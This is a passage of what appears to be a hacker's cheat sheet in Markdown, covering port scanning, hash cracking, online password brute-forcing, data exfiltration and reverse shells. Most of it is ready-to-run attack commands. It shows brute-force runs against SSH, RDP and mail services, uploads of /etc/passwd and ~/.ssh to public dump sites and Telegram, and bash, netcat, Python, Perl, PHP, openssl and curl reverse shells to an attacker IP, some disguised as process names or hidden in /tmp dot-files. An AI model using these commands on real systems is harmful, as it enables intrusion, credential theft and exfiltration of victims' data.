ooniprobe run websites
|
||
ooniprobe list
|
||
ooniprobe list 1
|
||
```
|
||
|
||
---
|
||
<a id="check-open-ports"></a>
|
||
**3.vii. Check/Scan Open Ports on an IP**
|
||
|
||
[Censys](https://search.censys.io/) or [Shodan](https://internetdb.shodan.io) Port lookup service:
|
||
```shell
|
||
curl https://internetdb.shodan.io/1.1.1.1
|
||
```
|
||
|
||
Fast (-F) vulnerability scan
|
||
```shell
|
||
# Version gathering
|
||
nmap -sCV -F -Pn --min-rate 10000 scanme.nmap.org
|
||
# Vulns
|
||
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
|
||
```
|
||
|
||
Using bash:
|
||
```shell
|
||
timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
|
||
```
|
||
|
||
---
|
||
<a id="bruteforce"></a>
|
||
**3.viii. Crack Password hashes**
|
||
|
||
1. [NTLM2password](https://ntlm.pw/) to crack (lookup) NTLM passwords
|
||
2. [wpa-sec](https://wpa-sec.stanev.org) to crack (lookup) WPA PSK passwords
|
||
|
||
HashCat is our go-to tool for everything else:
|
||
```shell
|
||
hashcat my-hash /usr/share/wordlists/rockyou.txt
|
||
```
|
||
|
||
Or using a [10-days 7-16 char hashmask](https://github.com/sean-t-smith/Extreme_Breach_Masks/) on GPU:
|
||
```sh
|
||
curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
|
||
# -d2 == Use GPU #2 only (device #2)
|
||
# -O == Up to 50% faster but limits password length to <= 15
|
||
# -w1 == workload low (-w3 == high)
|
||
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
|
||
```
|
||
Read the [FAQ](https://hashcat.net/wiki/doku.php?id=frequently_asked_questions).
|
||
|
||
Be aware that `$6$` hashes are SLOW. Even the [1-minute 7-16 char hashmask](https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/01%20instant_1-minute/1-minute_7-16.hcmask) would take many days on a 8xRTX4090 cluster to complete.
|
||
|
||
Rent a GPU-Cluster at [vast.ai](https://www.vast.ai) and use [dizcza/docker-hashcat](https://hub.docker.com/r/dizcza/docker-hashcat) ([read more](https://adamsvoboda.net/password-cracking-in-the-cloud-with-hashcat-vastai/)).
|
||
|
||
Otherwise, use [Crackstation](https://crackstation.net), [shuck.sh](https://shuck.sh/), [ColabCat/cloud](https://github.com/someshkar/colabcat)/[Cloudtopolis](https://github.com/JoelGMSec/Cloudtopolis) or crack on your own [AWS](https://akimbocore.com/article/hashcracking-with-aws/) instances.
|
||
|
||
**3.xi. Brute Force Passwords / Keys**
|
||
|
||
The following is for brute forcing (guessing) passwords of ONLINE SERVICES.
|
||
|
||
<a id="gmail"></a>
|
||
<details>
|
||
<summary>GMail Imbeciles - CLICK HERE</summary>
|
||
|
||
> You can not brute force GMAIL accounts.
|
||
> SMTP AUTH/LOGIN IS DISABLED ON GMAIL.
|
||
> All GMail Brute Force and Password Cracking tools are FAKE.
|
||
</details>
|
||
|
||
All tools are pre-installed on segfault:
|
||
```shell
|
||
ssh root@segfaul.net # password is 'segfault'
|
||
```
|
||
(You may want to use your [own EXIT node](https://www.thc.org/segfault/wireguard))
|
||
|
||
Tools:
|
||
* [Ncrack](https://nmap.org/ncrack/man.html)
|
||
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
|
||
* [THC Hydra](https://sectools.org/tool/hydra/)
|
||
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [docs](http://foofus.net/goons/jmk/medusa/medusa.html)
|
||
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
|
||
* [Crowbar](https://github.com/galkan/crowbar) - great for trying all ssh keys on a target IP range.
|
||
|
||
Username & Password lists:
|
||
* `/usr/share/nmap/nselib/data`
|
||
* `/usr/share/wordlists/seclists/Passwords`
|
||
* https://github.com/berzerk0/Probable-Wordlists - >THC's FAVORITE<
|
||
* https://github.com/danielmiessler/SecLists
|
||
* https://wordlists.assetnote.io
|
||
* https://weakpass.com
|
||
* https://crackstation.net/
|
||
|
||
|
||
Set **U**sername/**P**assword list and **T**arget host.
|
||
```shell
|
||
ULIST="/usr/share/wordlists/brutespray/mysql/user"
|
||
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
|
||
T="192.168.0.1"
|
||
```
|
||
|
||
Useful **Nmap** parameters:
|
||
```shell
|
||
--script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
|
||
```
|
||
|
||
Useful **Ncrack** parameters:
|
||
```shell
|
||
-U "${ULIST}"
|
||
-P "${PLIST}"
|
||
```
|
||
|
||
Useful **Hydra** parameters:
|
||
```shell
|
||
-t4 # Limit to 4 tasks
|
||
-l root # Set username
|
||
-V # Show each login/password attempt
|
||
-s 31337 # Set port
|
||
-S # Use SSL
|
||
-f # Exit after first valid login
|
||
```
|
||
|
||
<!--
|
||
```shell
|
||
## HTTP Login
|
||
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
|
||
```
|
||
-->
|
||
```shell
|
||
## SSH
|
||
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T"
|
||
ncrack -P "${PLIST}" --user root "ssh://${T}"
|
||
hydra -P "${PLIST}" -l root "ssh://$T"
|
||
```
|
||
|
||
```shell
|
||
## Remote Desktop Protocol / RDP
|
||
ncrack -P "${PLIST}" --user root -p3389 "${T}"
|
||
hydra -P "${PLIST}" -l root "rdp://$T"
|
||
```
|
||
|
||
```shell
|
||
## FTP
|
||
hydra -P "${PLIST}" -l user "ftp://$T"
|
||
```
|
||
|
||
```shell
|
||
## IMAP (email)
|
||
nmap -p 143,993 --script imap-brute "$T"
|
||
```
|
||
|
||
```shell
|
||
## POP3 (email)
|
||
nmap -p110,995 --script pop3-brute "$T"
|
||
```
|
||
|
||
```shell
|
||
## MySQL
|
||
nmap -p3306 --script mysql-brute "$T"
|
||
```
|
||
|
||
```shell
|
||
## PostgreSQL
|
||
nmap -p5432 --script pgsql-brute "$T"
|
||
```
|
||
|
||
```shell
|
||
## SMB (windows)
|
||
nmap --script smb-brute "$T"
|
||
```
|
||
|
||
```shell
|
||
## Telnet
|
||
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
|
||
```
|
||
|
||
```shell
|
||
## VNC
|
||
nmap -p5900 --script vnc-brute "$T"
|
||
ncrack -P "${PLIST}" --user root "vnc://$T"
|
||
hydra -P "${PLIST}" "vnc://$T"
|
||
medusa -P "${PLIST}" –u root –M vnc -h "$T"
|
||
```
|
||
|
||
```shell
|
||
## VNC (with metasploit)
|
||
msfconsole
|
||
use auxiliary/scanner/vnc/vnc_login
|
||
set rhosts 192.168.0.1
|
||
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
|
||
run
|
||
```
|
||
|
||
```shell
|
||
## HTML basic auth
|
||
echo admin >user.txt # Try only 1 username
|
||
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
|
||
nmap -p80 --script http-brute --script-args \
|
||
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
|
||
pentesteracademylab.appspot.com
|
||
```
|
||
|
||
---
|
||
<a id="exfil"></a>
|
||
## 4. Data Upload/Download/Exfil
|
||
<a id="file-encoding"></a>
|
||
|
||
### 4.i File Encoding
|
||
|
||
Encode binaries to text for transport via a terminal connection:
|
||
|
||
#### UU encode/decode
|
||
|
||
```sh
|
||
## uuencode
|
||
uuencode /etc/issue.net issue.net-COPY
|
||
```
|
||
<details>
|
||
<summary>Output - CLICK HERE</summary>
|
||
|
||
> begin 644 issue.net-COPY
|
||
> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\`
|
||
> `
|
||
> end
|
||
</details>
|
||
|
||
```sh
|
||
## uudecode (cut & paste the 3 lines from above):
|
||
uudecode
|
||
```
|
||
|
||
#### Openssl encode/decode
|
||
|
||
```sh
|
||
## openssl encode
|
||
openssl base64 </etc/issue.net
|
||
```
|
||
<details>
|
||
<summary>Output - CLICK HERE</summary>
|
||
|
||
> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
|
||
</details>
|
||
|
||
```sh
|
||
## openssl decode (cut & paste the 1 line from above):
|
||
openssl base64 -d >issue.net-COPY
|
||
```
|
||
|
||
#### xxd encode/decode
|
||
|
||
```sh
|
||
## xxd encode
|
||
xxd -p </etc/issue.net
|
||
```
|
||
<details>
|
||
<summary>Output - CLICK HERE</summary>
|
||
|
||
> 4b616c6920474e552f4c696e757820526f6c6c696e670a
|
||
</details>
|
||
|
||
```sh
|
||
## xxd decode
|
||
xxd -p -r >issue.net-COPY
|
||
```
|
||
|
||
---
|
||
<a id="cut-paste"></a>
|
||
### 4.ii. File transfer - using cut & paste
|
||
|
||
Paste into a file on the remote machine (note the `<<-'__EOF__'` to not mess with tabs or $-variables).
|
||
```sh
|
||
cat >output.txt <<-'__EOF__'
|
||
[...]
|
||
__EOF__ ### Finish your cut & paste by typing __EOF__
|
||
```
|
||
|
||
---
|
||
<a id="file-transfer-screen"></a>
|
||
### 4.iii. File transfer - using *screen*
|
||
|
||
#### From REMOTE to LOCAL (download)
|
||
|
||
Have a *screen* running on your local computer and log into the remote system from within your shell. Instruct your local screen to log all output to screen-xfer.txt:
|
||
|
||
> CTRL-a : logfile screen-xfer.txt
|
||
|
||
> CTRL-a H
|
||
|
||
We use *openssl* to encode our data but any of the above encoding methods works. This command will display the base64 encoded data in the terminal and *screen* will write this data to *screen-xfer.txt*:
|
||
|
||
```sh
|
||
## On the remote system encode issue.net
|
||
openssl base64 </etc/issue.net
|
||
```
|
||
|
||
Stop your local screen from logging any further data:
|
||
|
||
> CTRL-a H
|
||
|
||
On your local computer decode the file:
|
||
```sh
|
||
openssl base64 -d <screen-xfer.txt
|
||
rm -rf screen-xfer.txt
|
||
```
|
||
|
||
#### From LOCAL to REMOTE (upload)
|
||
|
||
On your local system encode the data:
|
||
```sh
|
||
openssl base64 </etc/issue.net >screen-xfer.txt
|
||
```
|
||
|
||
On the remote system (and from within the current *screen*):
|
||
```sh
|
||
openssl base64 -d
|
||
```
|
||
|
||
Get *screen* to slurp the base64 encoded data into screen's clipboard and paste the data from the clipboard to the remote system:
|
||
|
||
> CTRL-a : readbuf screen-xfer.txt
|
||
|
||
> CTRL-a : paste .
|
||
|
||
> CTRL-d
|
||
|
||
> CTRL-d
|
||
|
||
Note: Two CTRL-d are required due to a [bug in openssl](https://github.com/openssl/openssl/issues/9355).
|
||
|
||
---
|
||
<a id="file-transfer-gs-netcat"></a>
|
||
### 4.iv. File transfer - using gs-netcat and sftp
|
||
|
||
Use [gs-netcat](https://github.com/hackerschoice/gsocket) and encapsulate the sftp protocol within. Allows access to hosts behind NAT/Firewall.
|
||
|
||
```sh
|
||
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
|
||
```
|
||
|
||
From your workstation execute this command to connect to the SFTP server:
|
||
```sh
|
||
export GSOCKET_ARGS="-s MySecret" # Workstation
|
||
sftp -D gs-netcat # Workstation
|
||
```
|
||
|
||
Or to DUMP a single file:
|
||
```sh
|
||
# On the sender
|
||
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
|
||
|
||
# On the receiver
|
||
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
|
||
```
|
||
|
||
---
|
||
<a id="http"></a>
|
||
### 4.v. File transfer - using HTTPs
|
||
|
||
#### Download from Server to Receiver:
|
||
|
||
On the Sender/Server:
|
||
```sh
|
||
## Spawn a temporary HTTP server and share the current working directory.
|
||
python -m http.server 8080 --bind 127.0.0.1 &
|
||
# alternative: php -S 127.0.0.1:8080
|
||
cloudflared tunnel -url localhost:8080
|
||
```
|
||
Receiver: Access the URL from any browser to view/download the remote file system.
|
||
|
||
#### 1 - Upload using PHP:
|
||
|
||
On the Receiver:
|
||
```posh
|
||
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
|
||
mkdir upload
|
||
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
|
||
cloudflared tunnel --url localhost:8080 --no-autoupdate
|
||
```
|
||
|
||
On the Sender:
|
||
```posh
|
||
# Set a function:
|
||
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
|
||
# upload files like so:
|
||
up warez.tar.gz
|
||
up /etc/passwd
|
||
```
|
||
|
||
#### 2 - Upload using PYTHON:
|
||
|
||
On the Receiver:
|
||
```posh
|
||
pip install uploadserver
|
||
python -m uploadserver &
|
||
cloudflared tunnel -url localhost:8000
|
||
```
|
||
|
||
On the Sender:
|
||
```posh
|
||
curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F 'files=@myfile.txt'
|
||
```
|
||
|
||
---
|
||
<a id="burl"></a>
|
||
### 4.vi. File transfer without curl
|
||
|
||
Using bash, download only:
|
||
```sh
|
||
burl() {
|
||
IFS=/ read -r proto x host query <<<"$1"
|
||
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
|
||
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
|
||
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
|
||
exec 3>&-
|
||
}
|
||
# burl http://ipinfo.io
|
||
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
|
||
```
|
||
|
||
---
|
||
<a id="trans"></a>
|
||
### 4.vii. File transfer using a public dump
|
||
|
||
Cut & paste into your bash:
|
||
```sh
|
||
transfer() {
|
||
[[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; }
|
||
[[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; }
|
||
[[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }
|
||
[[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; }
|
||
curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}"
|
||
}
|
||
```
|
||
|
||
then upload a file or a directory:
|
||
```sh
|
||
transfer /etc/passwd # A single file
|
||
transfer ~/.ssh # An entire directory
|
||
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
|
||
```
|
||
A list of our [favorite public upload sites](#cloudexfil).
|
||
|
||
---
|
||
<a id="rsync"></a>
|
||
### 4.viii. File transfer - using rsync
|
||
|
||
Ideal for synchonizing large amount of directories or re-starting broken transfers. The example transfers the directory '*warez*' to the Receiver using a single TCP connection from the Sender to the Receiver.
|
||
|
||
Receiver:
|
||
```posh
|
||
echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf
|
||
mkdir upload
|
||
rsync --daemon --port=31337 --config=r.conf --no-detach
|
||
```
|
||
|
||
Sender:
|
||
```posh
|
||
rsync -av warez rsync://1.2.3.4:31337/up
|
||
```
|
||
|
||
The same encrypted (OpenSSL):
|
||
|
||
Receiver:
|
||
```posh
|
||
# use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)
|
||
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt
|
||
cat ssl.key ssl.crt >ssl.pem
|
||
rm -f ssl.key ssl.crt
|
||
mkdir upload
|
||
cat ssl.pem
|
||
socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
|
||
```
|
||
|
||
Sender:
|
||
```posh
|
||
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
|
||
IP=1.2.3.4
|
||
PORT=31337
|
||
# Using rsync + socat-ssl
|
||
up1() {
|
||
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
|
||
}
|
||
# Using rsync + openssl
|
||
up2() {
|
||
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
|
||
}
|
||
up1 /var/www/./warez
|
||
up2 /var/www/./warez
|
||
```
|
||
|
||
Rsync can be combined to exfil via [https / cloudflared raw TCP tunnels](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service).
|
||
(To exfil from Windows, use the rsync.exe from the [gsocket windows package](https://github.com/hackerschoice/binary/raw/main/gsocket/bin/gs-netcat_x86_64-cygwin_full.zip)). A noisier solution is [syncthing](https://syncthing.net/).
|
||
|
||
Pro Tip: Lazy hackers just type `exfil` on segfault.net.
|
||
|
||
---
|
||
<a id="webdav"></a>
|
||
### 4.ix. File transfer - using WebDAV
|
||
|
||
On the receiver (e.g. segfault.net) start a Cloudflare-Tunnel and WebDAV:
|
||
```sh
|
||
cloudflared tunnel --url localhost:8080 &
|
||
# [...]
|
||
# +--------------------------------------------------------------------------------------------+
|
||
# | Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |
|
||
# | https://example-foo-bar-lights.trycloudflare.com |
|
||
# +--------------------------------------------------------------------------------------------+
|
||
# [...]
|
||
wsgidav --port=8080 --root=. --auth=anonymous
|
||
```
|
||
|
||
On another server:
|
||
```sh
|
||
# Upload a file to your workstation
|
||
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
|
||
# Create a directory remotely
|
||
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
|
||
# Create a directory hirachy remotely
|
||
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
|
||
# Upload all *.c files (in parallel):
|
||
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
|
||
```
|
||
|
||
Access the share from Windows (to drag & drop files) in File Explorer:
|
||
```
|
||
\\example-foo-bar-lights.trycloudflare.com@SSL\sources
|
||
```
|
||
|
||
Or mount the WebDAV share on Windows (Z:/):
|
||
```
|
||
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
|
||
```
|
||
|
||
---
|
||
<a id="tg"></a>
|
||
### 4.x. File transfer to Telegram
|
||
|
||
There are [zillions of upload services](#cloudexfil) but TG is a neat alternative. Get a _TG-Bot-Token_ from the [TG BotFather](https://www.siteguarding.com/en/how-to-get-telegram-bot-api-token). Then create a new TG group and add your bot to the group. Retrieve the _chat_id_ of that group:
|
||
```sh
|
||
curl -s "https://api.telegram.org/bot<TG-BOT-TOKEN>/getUpdates" | jq -r '.result[].message.chat.id' | uniq
|
||
# If you get only {"ok":true,"result":[]} then remove and add the bot again.
|
||
```
|
||
|
||
```sh
|
||
# Upload file.zip straight into the group chat:
|
||
curl -sF document=@file.zip "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
|
||
```
|
||
|
||
---
|
||
<a id="reverse-shell"></a>
|
||
## 5. Reverse Shell / Dumb Shell
|
||
<a id="reverse-shell-gs-netcat"></a>
|
||
**5.i.a. Reverse shell with gs-netcat (encrypted)**
|
||
|
||
Use [gsocket deploy](https://gsocket.io/deploy). It spawns a fully functioning PTY reverse shell. Both, the YOU and the remote system, can be behind NAT and the traffic is routed via a relay network. It also supports file upload/download (Ctrl-e c) and alarms when the admin logs in. If netcat is a swiss army knife than gs-netcat is a german battle axe :>
|
||
|
||
```sh
|
||
X=ExampleSecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
|
||
# or X=ExampleSecretChangeMe bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"
|
||
```
|
||
|
||
To connect to the shell from your workstation:
|
||
```sh
|
||
S=ExampleSecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
|
||
# or gs-netcat -s ExampleSecretChangeMe -i
|
||
# Add -T to tunnel through TOR
|
||
```
|
||
|
||
<a id="reverse-shell-bash"></a>
|
||
**5.i.b. Reverse shell with Bash**
|
||
|
||
Start netcat to listen on port 1524 on your system:
|
||
```sh
|
||
nc -nvlp 1524
|
||
```
|
||
After connection, [upgrade](#reverse-shell-interactive) your shell to a fully interactive PTY shell. Alternatively use [pwncat-cs](https://pwncat.org/) instead of netcat:
|
||
```sh
|
||
pwncat -lp 1524
|
||
# Press "Ctrl-C" if pwncat gets stuck at "registerd new host ...".
|
||
# Then type "back" to get the prompt of the remote shell.
|
||
```
|
||
|
||
On the remote system, this command will connect back to your system (IP = 3.13.3.7, Port 1524) and give you a shell prompt:
|
||
```sh
|
||
# If the current shell is Bash already:
|
||
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &
|
||
# If the current shell is NOT Bash then we need:
|
||
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &'
|
||
# or hide the bash process as 'kqueue'
|
||
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &'
|
||
```
|
||
|
||
<a id="curlshell"></a>
|
||
**5.i.c. Reverse shell with cURL (encrypted)**
|
||
|
||
Use [curlshell](https://github.com/SkyperTHC/curlshell). This also works through proxies and when direct TCP connection to the outside world is prohibited:
|
||
```sh
|
||
# On YOUR workstation
|
||
# Generate SSL keys:
|
||
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
|
||
# Start your listening server:
|
||
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
|
||
```
|
||
```sh
|
||
# On the target:
|
||
curl -skfL https://3.13.3.7:8080 | bash
|
||
```
|
||
|
||
<a id="curltelnet"></a>
|
||
**5.i.d Reverse shell with cURL (cleartext)**
|
||
|
||
Start ncat to listen for multiple connections:
|
||
```sh
|
||
ncat -kltv 1524
|
||
```
|
||
```sh
|
||
# On the target:
|
||
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
|
||
```
|
||
|
||
<a id="sslshell"></a>
|
||
**5.i.e. Reverse shell with OpenSSL (encrypted)**
|
||
|
||
```sh
|
||
# On YOUR workstation:
|
||
# Generate SSL keys:
|
||
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
|
||
# Start your listening server:
|
||
openssl s_server -port 1524 -cert cert.pem -key key.pem
|
||
# Or pwncat:
|
||
# pwncat -lp 1524 --ssl
|
||
```
|
||
|
||
```sh
|
||
# On the target, start an openssl reverse shell as background process:
|
||
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
|
||
```
|
||
|
||
<a id="reverse-shell-no-bash"></a>
|
||
**5.i.f. Reverse shell without /dev/tcp**
|
||
|
||
Embedded systems do not always have Bash and the */dev/tcp/* trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet:
|
||
|
||
On the remote system:
|
||
|
||
```sh
|
||
nc -e /bin/sh -vn 3.13.3.7 1524
|
||
```
|
||
|
||
Variant if *'-e'* is not supported:
|
||
```sh
|
||
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
|
||
```
|
||
|
||
* On modern shells this can be shortened to `{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:`. (*thanks IA_PD*).
|
||
* The `| :` trick wont work on C-Shell/tcsh (FreeBSD), orignal Bourne shell (Solaris) or Korn shell (AIX). Use `mkfifo` instead.
|
||
|
||
Variant for older */bin/sh*:
|
||
```sh
|
||
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
|
||
```
|
||
|
||
Telnet variant:
|
||
```sh
|
||
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
|
||
```
|
||
|
||
Telnet variant when mkfifo is not supported (Ulg!):
|
||
```sh
|
||
touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
|
||
```
|
||
Note: Dont forget to `rm /tmp/.fio` after login.
|
||
|
||
<a id="revese-shell-remote-moe"></a>
|
||
**5.i.g. Reverse shell with remote.moe and ssh (encrypted)**
|
||
|
||
It is possible to tunnel raw TCP (e.g bash reverse shell) through [remote.moe](https://remote.moe):
|
||
|
||
On your workstation:
|
||
```sh
|
||
# First Terminal - Create a remote.moe tunnel to your workstation
|
||
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
|
||
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no nokey@remote.moe; rm -f .r
|
||
# Note down the 'remote.moe' address which will look something like
|
||
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
|
||
|
||
# Second Terminal - start listening for the reverse shell
|
||
nc -vnlp 8080
|
||
```
|
||
|
||
On the target(needs SSH and Bash):
|
||
```sh
|
||
bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
|
||
```
|
||
|
||
On the target (alternative; needs ssh, bash and mkfifo):
|
||
```sh
|
||
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
|
||
```
|
||
|
||
<a id="reverse-shell-python"></a>
|
||
**5.i.h. Reverse shell with Python**
|
||
```sh
|
||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||
```
|
||
|
||
<a id="reverse-shell-perl"></a>
|
||
**5.i.i. Reverse shell with Perl**
|
||
|
||
```sh
|
||
# method 1
|
||
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||
# method 2
|
||
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
|
||
```
|
||
<a id="reverse-shell-php"></a>
|
||
**5.i.j. Reverse shell with PHP**
|
||
|
||
```sh
|
||
php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
|
||
```
|
||
|
||
<a id="reverse-shell-upgrade"></a>
|
||
<a id="reverse-shell-pty"></a>
|
||
**5.ii.a. Upgrade a reverse shell to a PTY shell**
|
||
|
||
Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrade the shell to a real PTY shell:
|
||
|
||
```sh
|
||
# Using script
|
||
exec script -qc /bin/bash /dev/null # Linux
|
||
exec script -q /dev/null /bin/bash # BSD
|
||
```
|
||
|
||
```sh
|
||
# Using python
|
||
exec python -c 'import pty; pty.spawn("/bin/bash")'
|
||
```
|
||
|
||
<a id="reverse-shell-interactive"></a>
|
||
**5.ii.b. Upgrade a reverse shell to a fully interactive shell**
|
||
|
||
...and if we also like to use Ctrl-C etc then we have to go all the way and upgrade the reverse shell to a real fully colorful interactive shell:
|
||
|
||
```sh
|
||
# On the target host spwan a PTY using any of the above examples:
|
||
python -c 'import pty; pty.spawn("/bin/bash")'
|
||
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
|
||
```
|
||
|
||
```
|
||
# On your terminal execute:
|
||
stty raw -echo opost; fg
|
||
```
|
||
|
||
```sh
|
||
# On target host
|
||
export SHELL=/bin/bash
|
||
export TERM=xterm-256color
|
||
reset -I
|
||
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "$R"|awk -F";" '{ printf "rows "$3" cols "$2; }')
|
||
# Pimp up your prompt
|
||
PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
|
||
```
|
||
|
||
<a id="reverse-shell-socat"></a>
|
||
**5.ii.c. Reverse shell with socat (fully interactive)**
|
||
|
||
...or install socat and get it done without much fiddling about:
|
||
|
||
```sh
|
||
# on attacker's host (listener)
|
||
socat file:`tty`,raw,echo=0 tcp-listen:1524
|
